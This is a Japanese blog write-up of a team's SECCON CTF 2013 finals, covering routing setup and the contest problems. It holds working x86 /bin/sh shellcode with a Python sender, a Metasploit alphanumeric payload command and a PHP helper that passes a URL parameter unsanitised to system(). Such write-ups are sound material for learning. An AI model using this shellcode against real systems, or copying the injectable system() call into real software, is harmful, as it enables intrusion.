SECCON CTF 2013本戦に参加した

2014年3月1日(月)~2014年3月2日に開催されたSECCON CTF 2013本戦に某チームのメンバーとして参加した。 結果はまずまずといった感じ。まだまだ厳しい。

準備

まずは、Ubuntu 64bitとKali Linux 32bitの仮想マシンを用意した。 今思えばKali Linuxはコンソールモードで起動するように設定しておけばよかったと思う。

自作プロクシスクリプトSimpleHTTPProxyに含まれるCatHeadersProxyを使って、出入りするHTTPヘッダをターミナルに流していた。 Pisa問題において、キーワードの一つはこれで発見できたが、別のキーワードはHTTPのレスポンスボディ中にあったらしく発見できなかったのが痛かった。 また、POSTデータが出力されないのも不便だったので、これについては後日修正してコミットした。

チームとしては共用の常時起動マシンを一台用意し、問題ファイルのダウンロードや共有、フラッグワードの定期送信に使っていた。 これはうまく機能した。手元の作業の影響を受けないのは大きい。

初日の開始前、競技用ネットワークと持ち込みのインターネット回線を同時に接続したが、デフォルトルートを競技用ネットワークに持っていかれてしまいインターネットに出れなかったので、手動でルーティング設定を行った。 具体的には、プライベートアドレスを競技用ネットワークに、それ以外をインターネット回線に向けるようにした。

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

> route print -4
> route delete 0.0.0.0
> route add 10.0.0.0 mask 255.0.0.0 [gateway for contest]
> route add 192.168.0.0 mask 255.255.0.0  [gateway for contest]
> route add 0.0.0.0 mask 0.0.0.0 [gateway for internet]

Pisa: ログイン機能付き掲示板

Register画面から適当なユーザ名、パスワードでアカウントを作成しログイン。 ローカルプロクシの出力から、HTTPヘッダ中にキーワードがあるのを発見。 一度はフラッグワードの手動書き込みに成功するも、妨害により定期送信のCaptcha対応ができないまま終了。 別のキーワードは、ランダムに表示される404ページのalt属性中にあったらしい。 404ページには気づいていただけに詰めの甘さが悔まれる。

2.kaku(通天閣): shellcode writing

シェルコードを送り込む問題。1問目はなんでもあり、2問目は英数字のみ、3問目は57577の短歌縛り。 4問目も短歌だが、先にログインしたチームが使用不可バイトを指定して妨害できるようになっている。が、どのチームも使っていなかった模様。

1問目はSmashing the Stackのtestsc2.cから借用。 setrlimit(2)を使いforkできないように制限されているので、シェルのexec組み込みコマンドを利用して他のコマンドを呼び出す方法を取った。 下のようなスクリプトを書きいろいろ調査。問題としては、lsするとkeyword.txtがあったのでcatして完了。

# -*- coding: utf-8 -*-
 
import socket
 
host = 'xxx.xxx.xxx.xxx'
port = xxxxx
 
s = socket.create_connection((host, port))
 
shellcode = (
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"
)
 
while True:
    m = chr(len(shellcode))
    print "> " + repr(m)
    s.sendall(m)
 
    m = shellcode
    print "> " + repr(m)
    s.sendall(m)
 
    line = raw_input('type command: ')
    m = 'exec %s\n' % line
    print "> " + repr(m)
    s.sendall(m)
 
    data = s.recv(8192)
    while data:
        print "< " + repr(data)
        data = s.recv(8192)
 
    break
$ python client.py
> '-'
> '\xeb\x1f^\x89v\x081\xc0\x88F\x07\x89F\x0c\xb0\x0b\x89\xf3\x8dN\x08\x8dV\x0c\xcd\x801\xdb\x89\xd8@\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'
type command: uname -a
> 'exec uname -a\n'
< 'Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.54-2 i686 GNU/Linux\n'

2問目はMetasploitのmsfpayloadとmsfencodeを使ってチームメンバが作成。 与えられたバイナリをディスアセンブルすると call *%eax となっており、BufferRegisterにはEAXを指定すればよいことがわかる。

$ msfpayload linux/x86/exec CMD='/bin/ls -l' R | msfencode BufferRegister=EAX -a x86 -t c -e x86/alpha_mixed

3問目は「shellcode 短歌」で検索して出てきた下記ブログのものを借用。

4問目は妨害を行うことも行われることもなく、3問目と同じシェルコードでログイン成功。フラッグページの書き換えを行う。

Korin: 管理者画面付き問い合わせフォーム

問い合わせフォームのメール欄にXSSがあることに気づいてはいたが、自分でサーバを立ててCookieを送信させるところまで頭が回らず終了。 解けているチームと解けていないチームがはっきり分かれていた問題だったので、無念。

Han01: HTTPを経由した情報リーク

前半はDEF CON 2013 Qualsのremembermeとほぼ同じ。 accesscodeがファイル名のmd5になっており、計算することでphpファイルも含めた各ファイルの中身が見れる。 拡張子phpのもの以外は、phpファイルを経由せずファイルパスを直接指定することでもアクセスできた。

2問目の問題サーバのアドレスはgifファイル末尾をきちんと解析することで得られるらしい。 末尾の不自然なデータ自体は見つけてはいたものの深追いせず、IPアドレスの推測で発見した。 1問目と同じ方法で暗号化バイナリ (menu) が取得できるので、rememberme同様のコードで復号。

<?php
$filename = "menu";
$value = strtotime("Sun, 02 Mar 2014 00:05:38 GMT");

srand($value);
$data = file_get_contents($filename);
$key = rand();
$ciphertext = base64_decode($data);
$plaintext = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $ciphertext, MCRYPT_MODE_CBC);
print $plaintext;
$ sudo apt-get install php5 php5-mcrypt
$ php -f decrypt.php > menu_bin

復号したバイナリのMD5をパスワードとして、別途取得したzipファイルが解凍できるらしいのだが、なぜか合わない。 末尾のNULLバイトを除去すればよかったらしいが、解決できないまま終了。

Druaga: 暗号化データの解析

80MBのyuko_oshima.binが与えられる。TrueCryptで復号すれば一つ目のキーワードが得られる。 他に50000個の画像ファイル (taka.jpg) が入ったzipファイルがあったが、別ファイルに書かれた問題文を見つけられないまま終了。

Babel: ARMバイナリの解析

ARMバイナリが2個与えられる。 片方は、特定の条件を満たす入力を与えたとき得られる出力をバイナリ表示するとキーワードが得られたとのこと。チームメンバが回答。

フラッグワードの定期送信

フラッグワードは5分おきに更新されるので、定期的に取得し送信する必要がある。 定期送信できたのは2.kakuだけだった。

フラッグワードはsocket.ioを使って更新されていたので、wgetでコンテンツをミラーし、自分のチームのフラッグワードが来たとき別のjsファイルの関数を呼び出すように細工。 jsファイルからは定期的にクエリパラメータ付きのPHPを呼び出し、PHPからsystemコマンドを発行することで各問題用のPythonプログラムに繋ぐということをした。

$ wget --mirror [url of flagpage]
<script src="sendflag.js"></script>

<script>
// (snip)
if (data.team_name === "[our team name]") {
  sendflag(data.flagword);
}
// (snip)
</script>
// sendflag.js

var tid = null;

function sendflag(flag) {
    clearTimeout(tid);
    tid = setInterval(function(){call_php(flag);}, 100);
}

function call_php(flag) {
    var img = document.createElement("img");
    img.src = "sendflag.php?flag=" + flag;
    document.body.appendChild(img);
}
// sendflag.php

<?php
$flag = $_GET['flag'];
system("python send_2kaku.py " . $flag);
# send_2kaku.py

import sys
flag = sys.argv[1]

# do something with flag

感想

フラッグワードを送り続けることに成功したのが大きかった。 その一方で、KorinのXSS問題に対応できなかったのが痛かった。 HTTPヘッダの監視のみで済ませず、きちんと問題ごとにパケットキャプチャを行い、解析なり妨害を受けた後のリカバリなりができるようにしたい。

おつかれさまでした。

関連リンク